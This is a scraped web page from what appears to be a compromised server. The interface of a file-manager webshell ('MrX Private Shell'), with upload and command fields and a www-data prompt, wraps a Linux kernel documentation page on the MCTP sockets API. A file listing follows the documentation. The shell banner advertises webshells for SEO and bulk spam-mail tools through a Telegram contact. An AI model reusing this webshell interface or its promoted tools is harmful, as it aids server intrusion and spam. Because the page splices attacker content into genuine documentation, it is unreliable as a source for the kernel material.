__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.139: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Management Component Transport Protocol (MCTP) &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="MPLS Sysfs variables" href="mpls-sysctl.html" />
    <link rel="prev" title="How to use packet injection with mac80211" href="mac80211-injection.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/networking/mctp.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="management-component-transport-protocol-mctp">
<h1>Management Component Transport Protocol (MCTP)<a class="headerlink" href="#management-component-transport-protocol-mctp" title="Link to this heading">¶</a></h1>
<p>net/mctp/ contains protocol support for MCTP, as defined by DMTF standard
DSP0236. Physical interface drivers (“bindings” in the specification) are
provided in drivers/net/mctp/.</p>
<p>The core code provides a socket-based interface to send and receive MCTP
messages, through an AF_MCTP, SOCK_DGRAM socket.</p>
<section id="structure-interfaces-networks">
<h2>Structure: interfaces &amp; networks<a class="headerlink" href="#structure-interfaces-networks" title="Link to this heading">¶</a></h2>
<p>The kernel models the local MCTP topology through two items: interfaces and
networks.</p>
<p>An interface (or “link”) is an instance of an MCTP physical transport binding
(as defined by DSP0236, section 3.2.47), likely connected to a specific hardware
device. This is represented as a <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">netdevice</span></code>.</p>
<p>A network defines a unique address space for MCTP endpoints by endpoint-ID
(described by DSP0236, section 3.2.31). A network has a user-visible identifier
to allow references from userspace. Route definitions are specific to one
network.</p>
<p>Interfaces are associated with one network. A network may be associated with one
or more interfaces.</p>
<p>If multiple networks are present, each may contain endpoint IDs (EIDs) that are
also present on other networks.</p>
</section>
<section id="sockets-api">
<h2>Sockets API<a class="headerlink" href="#sockets-api" title="Link to this heading">¶</a></h2>
<section id="protocol-definitions">
<h3>Protocol definitions<a class="headerlink" href="#protocol-definitions" title="Link to this heading">¶</a></h3>
<p>MCTP uses <code class="docutils literal notranslate"><span class="pre">AF_MCTP</span></code> / <code class="docutils literal notranslate"><span class="pre">PF_MCTP</span></code> for the address- and protocol- families.
Since MCTP is message-based, only <code class="docutils literal notranslate"><span class="pre">SOCK_DGRAM</span></code> sockets are supported.</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="kt">int</span><span class="w"> </span><span class="n">sd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">socket</span><span class="p">(</span><span class="n">AF_MCTP</span><span class="p">,</span><span class="w"> </span><span class="n">SOCK_DGRAM</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
</pre></div>
</div>
<p>The only (current) value for the <code class="docutils literal notranslate"><span class="pre">protocol</span></code> argument is 0.</p>
<p>As with all socket address families, source and destination addresses are
specified with a <code class="docutils literal notranslate"><span class="pre">sockaddr</span></code> type, with a single-byte endpoint address:</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="k">typedef</span><span class="w"> </span><span class="n">__u8</span><span class="w">                </span><span class="n">mctp_eid_t</span><span class="p">;</span>

<span class="k">struct</span><span class="w"> </span><span class="nc">mctp_addr</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">mctp_eid_t</span><span class="w">          </span><span class="n">s_addr</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_mctp</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">__kernel_sa_family_t</span><span class="w"> </span><span class="n">smctp_family</span><span class="p">;</span>
<span class="w">        </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w">         </span><span class="n">smctp_network</span><span class="p">;</span>
<span class="w">        </span><span class="k">struct</span><span class="w"> </span><span class="nc">mctp_addr</span><span class="w">     </span><span class="n">smctp_addr</span><span class="p">;</span>
<span class="w">        </span><span class="n">__u8</span><span class="w">                 </span><span class="n">smctp_type</span><span class="p">;</span>
<span class="w">        </span><span class="n">__u8</span><span class="w">                 </span><span class="n">smctp_tag</span><span class="p">;</span>
<span class="p">};</span>

<span class="cp">#define MCTP_NET_ANY        0x0</span>
<span class="cp">#define MCTP_ADDR_ANY       0xff</span>
</pre></div>
</div>
</section>
<section id="syscall-behaviour">
<h3>Syscall behaviour<a class="headerlink" href="#syscall-behaviour" title="Link to this heading">¶</a></h3>
<p>The following sections describe the MCTP-specific behaviours of the standard
socket system calls. These behaviours have been chosen to map closely to the
existing sockets APIs.</p>
<section id="bind-set-local-socket-address">
<h4><code class="docutils literal notranslate"><span class="pre">bind()</span></code> : set local socket address<a class="headerlink" href="#bind-set-local-socket-address" title="Link to this heading">¶</a></h4>
<p>Sockets that receive incoming request packets will bind to a local address,
using the <code class="docutils literal notranslate"><span class="pre">bind()</span></code> syscall.</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_mctp</span><span class="w"> </span><span class="n">addr</span><span class="p">;</span>

<span class="n">addr</span><span class="p">.</span><span class="n">smctp_family</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AF_MCTP</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_network</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_NET_ANY</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_addr</span><span class="p">.</span><span class="n">s_addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_ADDR_ANY</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_TYPE_PLDM</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_tag</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_TAG_OWNER</span><span class="p">;</span>

<span class="kt">int</span><span class="w"> </span><span class="n">rc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">bind</span><span class="p">(</span><span class="n">sd</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">));</span>
</pre></div>
</div>
<p>This establishes the local address of the socket. Incoming MCTP messages that
match the network, address, and message type will be received by this socket.
The reference to ‘incoming’ is important here; a bound socket will only receive
messages with the TO bit set, to indicate an incoming request message, rather
than a response.</p>
<p>The <code class="docutils literal notranslate"><span class="pre">smctp_tag</span></code> value will configure the tags accepted from the remote side of
this socket. Given the above, the only valid value is <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code>, which
will result in remotely “owned” tags being routed to this socket. Since
<code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code> is set, the 3 least-significant bits of <code class="docutils literal notranslate"><span class="pre">smctp_tag</span></code> are not
used; callers must set them to zero.</p>
<p>A <code class="docutils literal notranslate"><span class="pre">smctp_network</span></code> value of <code class="docutils literal notranslate"><span class="pre">MCTP_NET_ANY</span></code> will configure the socket to
receive incoming packets from any locally-connected network. A specific network
value will cause the socket to only receive incoming messages from that network.</p>
<p>The <code class="docutils literal notranslate"><span class="pre">smctp_addr</span></code> field specifies a local address to bind to. A value of
<code class="docutils literal notranslate"><span class="pre">MCTP_ADDR_ANY</span></code> configures the socket to receive messages addressed to any
local destination EID.</p>
<p>The <code class="docutils literal notranslate"><span class="pre">smctp_type</span></code> field specifies which message types to receive. Only the
lower 7 bits of the type is matched on incoming messages (ie., the
most-significant IC bit is not part of the match). This results in the socket
receiving packets with and without a message integrity check footer.</p>
</section>
<section id="sendto-sendmsg-send-transmit-an-mctp-message">
<h4><code class="docutils literal notranslate"><span class="pre">sendto()</span></code>, <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code>, <code class="docutils literal notranslate"><span class="pre">send()</span></code> : transmit an MCTP message<a class="headerlink" href="#sendto-sendmsg-send-transmit-an-mctp-message" title="Link to this heading">¶</a></h4>
<p>An MCTP message is transmitted using one of the <code class="docutils literal notranslate"><span class="pre">sendto()</span></code>, <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code> or
<code class="docutils literal notranslate"><span class="pre">send()</span></code> syscalls. Using <code class="docutils literal notranslate"><span class="pre">sendto()</span></code> as the primary example:</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_mctp</span><span class="w"> </span><span class="n">addr</span><span class="p">;</span>
<span class="kt">char</span><span class="w"> </span><span class="n">buf</span><span class="p">[</span><span class="mi">14</span><span class="p">];</span>
<span class="kt">ssize_t</span><span class="w"> </span><span class="n">len</span><span class="p">;</span>

<span class="cm">/* set message destination */</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_family</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">AF_MCTP</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_network</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_addr</span><span class="p">.</span><span class="n">s_addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_tag</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_TAG_OWNER</span><span class="p">;</span>
<span class="n">addr</span><span class="p">.</span><span class="n">smctp_type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_TYPE_ECHO</span><span class="p">;</span>

<span class="cm">/* arbitrary message to send, with message-type header */</span>
<span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MCTP_TYPE_ECHO</span><span class="p">;</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;hello, world!&quot;</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>

<span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">sendto</span><span class="p">(</span><span class="n">sd</span><span class="p">,</span><span class="w"> </span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w">                </span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_mctp</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">));</span>
</pre></div>
</div>
<p>The network and address fields of <code class="docutils literal notranslate"><span class="pre">addr</span></code> define the remote address to send to.
If <code class="docutils literal notranslate"><span class="pre">smctp_tag</span></code> has the <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code>, the kernel will ignore any bits set
in <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_VALUE</span></code>, and generate a tag value suitable for the destination
EID. If <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code> is not set, the message will be sent with the tag
value as specified. If a tag value cannot be allocated, the system call will
report an errno of <code class="docutils literal notranslate"><span class="pre">EAGAIN</span></code>.</p>
<p>The application must provide the message type byte as the first byte of the
message buffer passed to <code class="docutils literal notranslate"><span class="pre">sendto()</span></code>. If a message integrity check is to be
included in the transmitted message, it must also be provided in the message
buffer, and the most-significant bit of the message type byte must be 1.</p>
<p>The <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code> system call allows a more compact argument interface, and the
message buffer to be specified as a scatter-gather list. At present no ancillary
message types (used for the <code class="docutils literal notranslate"><span class="pre">msg_control</span></code> data passed to <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code>) are
defined.</p>
<p>Transmitting a message on an unconnected socket with <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code>
specified will cause an allocation of a tag, if no valid tag is already
allocated for that destination. The (destination-eid,tag) tuple acts as an
implicit local socket address, to allow the socket to receive responses to this
outgoing message. If any previous allocation has been performed (to for a
different remote EID), that allocation is lost.</p>
<p>Sockets will only receive responses to requests they have sent (with TO=1) and
may only respond (with TO=0) to requests they have received.</p>
</section>
<section id="recvfrom-recvmsg-recv-receive-an-mctp-message">
<h4><code class="docutils literal notranslate"><span class="pre">recvfrom()</span></code>, <code class="docutils literal notranslate"><span class="pre">recvmsg()</span></code>, <code class="docutils literal notranslate"><span class="pre">recv()</span></code> : receive an MCTP message<a class="headerlink" href="#recvfrom-recvmsg-recv-receive-an-mctp-message" title="Link to this heading">¶</a></h4>
<p>An MCTP message can be received by an application using one of the
<code class="docutils literal notranslate"><span class="pre">recvfrom()</span></code>, <code class="docutils literal notranslate"><span class="pre">recvmsg()</span></code>, or <code class="docutils literal notranslate"><span class="pre">recv()</span></code> system calls. Using <code class="docutils literal notranslate"><span class="pre">recvfrom()</span></code>
as the primary example:</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_mctp</span><span class="w"> </span><span class="n">addr</span><span class="p">;</span>
<span class="kt">socklen_t</span><span class="w"> </span><span class="n">addrlen</span><span class="p">;</span>
<span class="kt">char</span><span class="w"> </span><span class="n">buf</span><span class="p">[</span><span class="mi">14</span><span class="p">];</span>
<span class="kt">ssize_t</span><span class="w"> </span><span class="n">len</span><span class="p">;</span>

<span class="n">addrlen</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>

<span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">recvfrom</span><span class="p">(</span><span class="n">sd</span><span class="p">,</span><span class="w"> </span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w">                </span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_mctp</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">addrlen</span><span class="p">);</span>

<span class="cm">/* We can expect addr to describe an MCTP address */</span>
<span class="n">assert</span><span class="p">(</span><span class="n">addrlen</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="n">assert</span><span class="p">(</span><span class="n">addr</span><span class="p">.</span><span class="n">smctp_family</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">AF_MCTP</span><span class="p">);</span>

<span class="n">printf</span><span class="p">(</span><span class="s">&quot;received %zd bytes from remote EID %d</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">rc</span><span class="p">,</span><span class="w"> </span><span class="n">addr</span><span class="p">.</span><span class="n">smctp_addr</span><span class="p">);</span>
</pre></div>
</div>
<p>The address argument to <code class="docutils literal notranslate"><span class="pre">recvfrom</span></code> and <code class="docutils literal notranslate"><span class="pre">recvmsg</span></code> is populated with the
remote address of the incoming message, including tag value (this will be needed
in order to reply to the message).</p>
<p>The first byte of the message buffer will contain the message type byte. If an
integrity check follows the message, it will be included in the received buffer.</p>
<p>The <code class="docutils literal notranslate"><span class="pre">recv()</span></code> system call behaves in a similar way, but does not provide a
remote address to the application. Therefore, these are only useful if the
remote address is already known, or the message does not require a reply.</p>
<p>Like the send calls, sockets will only receive responses to requests they have
sent (TO=1) and may only respond (TO=0) to requests they have received.</p>
</section>
<section id="ioctl-siocmctpalloctag-and-ioctl-siocmctpdroptag">
<h4><code class="docutils literal notranslate"><span class="pre">ioctl(SIOCMCTPALLOCTAG)</span></code> and <code class="docutils literal notranslate"><span class="pre">ioctl(SIOCMCTPDROPTAG)</span></code><a class="headerlink" href="#ioctl-siocmctpalloctag-and-ioctl-siocmctpdroptag" title="Link to this heading">¶</a></h4>
<p>These tags give applications more control over MCTP message tags, by allocating
(and dropping) tag values explicitly, rather than the kernel automatically
allocating a per-message tag at <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code> time.</p>
<p>In general, you will only need to use these ioctls if your MCTP protocol does
not fit the usual request/response model. For example, if you need to persist
tags across multiple requests, or a request may generate more than one response.
In these cases, the ioctls allow you to decouple the tag allocation (and
release) from individual message send and receive operations.</p>
<p>Both ioctls are passed a pointer to a <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">mctp_ioc_tag_ctl</span></code>:</p>
<div class="highlight-C notranslate"><div class="highlight"><pre><span></span><span class="k">struct</span><span class="w"> </span><span class="nc">mctp_ioc_tag_ctl</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">mctp_eid_t</span><span class="w">      </span><span class="n">peer_addr</span><span class="p">;</span>
<span class="w">    </span><span class="n">__u8</span><span class="w">            </span><span class="n">tag</span><span class="p">;</span>
<span class="w">    </span><span class="n">__u16</span><span class="w">           </span><span class="n">flags</span><span class="p">;</span>
<span class="p">};</span>
</pre></div>
</div>
<p><code class="docutils literal notranslate"><span class="pre">SIOCMCTPALLOCTAG</span></code> allocates a tag for a specific peer, which an application
can use in future <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code> calls. The application populates the
<code class="docutils literal notranslate"><span class="pre">peer_addr</span></code> member with the remote EID. Other fields must be zero.</p>
<p>On return, the <code class="docutils literal notranslate"><span class="pre">tag</span></code> member will be populated with the allocated tag value.
The allocated tag will have the following tag bits set:</p>
<blockquote>
<div><ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code>: it only makes sense to allocate tags if you’re the tag
owner</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">MCTP_TAG_PREALLOC</span></code>: to indicate to <code class="docutils literal notranslate"><span class="pre">sendmsg()</span></code> that this is a
preallocated tag.</p></li>
<li><p>... and the actual tag value, within the least-significant three bits
(<code class="docutils literal notranslate"><span class="pre">MCTP_TAG_MASK</span></code>). Note that zero is a valid tag value.</p></li>
</ul>
</div></blockquote>
<p>The tag value should be used as-is for the <code class="docutils literal notranslate"><span class="pre">smctp_tag</span></code> member of <code class="docutils literal notranslate"><span class="pre">struct</span>
<span class="pre">sockaddr_mctp</span></code>.</p>
<p><code class="docutils literal notranslate"><span class="pre">SIOCMCTPDROPTAG</span></code> releases a tag that has been previously allocated by a
<code class="docutils literal notranslate"><span class="pre">SIOCMCTPALLOCTAG</span></code> ioctl. The <code class="docutils literal notranslate"><span class="pre">peer_addr</span></code> must be the same as used for the
allocation, and the <code class="docutils literal notranslate"><span class="pre">tag</span></code> value must match exactly the tag returned from the
allocation (including the <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_OWNER</span></code> and <code class="docutils literal notranslate"><span class="pre">MCTP_TAG_PREALLOC</span></code> bits).
The <code class="docutils literal notranslate"><span class="pre">flags</span></code> field must be zero.</p>
</section>
</section>
</section>
<section id="kernel-internals">
<h2>Kernel internals<a class="headerlink" href="#kernel-internals" title="Link to this heading">¶</a></h2>
<p>There are a few possible packet flows in the MCTP stack:</p>
<ol class="arabic">
<li><p>local TX to remote endpoint, message &lt;= MTU:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>sendmsg()
 -&gt; mctp_local_output()
    : route lookup
    -&gt; rt-&gt;output() (== mctp_route_output)
       -&gt; dev_queue_xmit()
</pre></div>
</div>
</li>
<li><p>local TX to remote endpoint, message &gt; MTU:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>sendmsg()
-&gt; mctp_local_output()
    -&gt; mctp_do_fragment_route()
       : creates packet-sized skbs. For each new skb:
       -&gt; rt-&gt;output() (== mctp_route_output)
          -&gt; dev_queue_xmit()
</pre></div>
</div>
</li>
<li><p>remote TX to local endpoint, single-packet message:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mctp_pkttype_receive()
: route lookup
-&gt; rt-&gt;output() (== mctp_route_input)
   : sk_key lookup
   -&gt; sock_queue_rcv_skb()
</pre></div>
</div>
</li>
<li><p>remote TX to local endpoint, multiple-packet message:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mctp_pkttype_receive()
: route lookup
-&gt; rt-&gt;output() (== mctp_route_input)
   : sk_key lookup
   : stores skb in struct sk_key-&gt;reasm_head

mctp_pkttype_receive()
: route lookup
-&gt; rt-&gt;output() (== mctp_route_input)
   : sk_key lookup
   : finds existing reassembly in sk_key-&gt;reasm_head
   : appends new fragment
   -&gt; sock_queue_rcv_skb()
</pre></div>
</div>
</li>
</ol>
<section id="key-refcounts">
<h3>Key refcounts<a class="headerlink" href="#key-refcounts" title="Link to this heading">¶</a></h3>
<blockquote>
<div><ul class="simple">
<li><p>keys are refed by:</p>
<ul>
<li><p>a skb: during route output, stored in <code class="docutils literal notranslate"><span class="pre">skb-&gt;cb</span></code>.</p></li>
<li><p>netns and sock lists.</p></li>
</ul>
</li>
<li><p>keys can be associated with a device, in which case they hold a
reference to the dev (set through <code class="docutils literal notranslate"><span class="pre">key-&gt;dev</span></code>, counted through
<code class="docutils literal notranslate"><span class="pre">dev-&gt;key_count</span></code>). Multiple keys can reference the device.</p></li>
</ul>
</div></blockquote>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/networking/mctp.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caif Folder 0755
device_drivers Folder 0755
devlink Folder 0755
diagnostic Folder 0755
dsa Folder 0755
mac80211_hwsim Folder 0755
net_cachelines Folder 0755
pse-pd Folder 0755
6lowpan.html File 9.97 KB 0644
6pack.html File 18.06 KB 0644
af_xdp.html File 71.08 KB 0644
alias.html File 9.71 KB 0644
arcnet-hardware.html File 153.3 KB 0644
arcnet.html File 37.48 KB 0644
atm.html File 8.24 KB 0644
ax25.html File 8.75 KB 0644
bareudp.html File 10.56 KB 0644
batman-adv.html File 16.81 KB 0644
bonding.html File 140.89 KB 0644
bridge.html File 53.36 KB 0644
can.html File 120.11 KB 0644
can_ucan_protocol.html File 25.27 KB 0644
cdc_mbim.html File 25.28 KB 0644
checksum-offloads.html File 16.15 KB 0644
dctcp.html File 10.32 KB 0644
devmem.html File 24.33 KB 0644
dns_resolver.html File 15.11 KB 0644
driver.html File 20.41 KB 0644
eql.html File 31.48 KB 0644
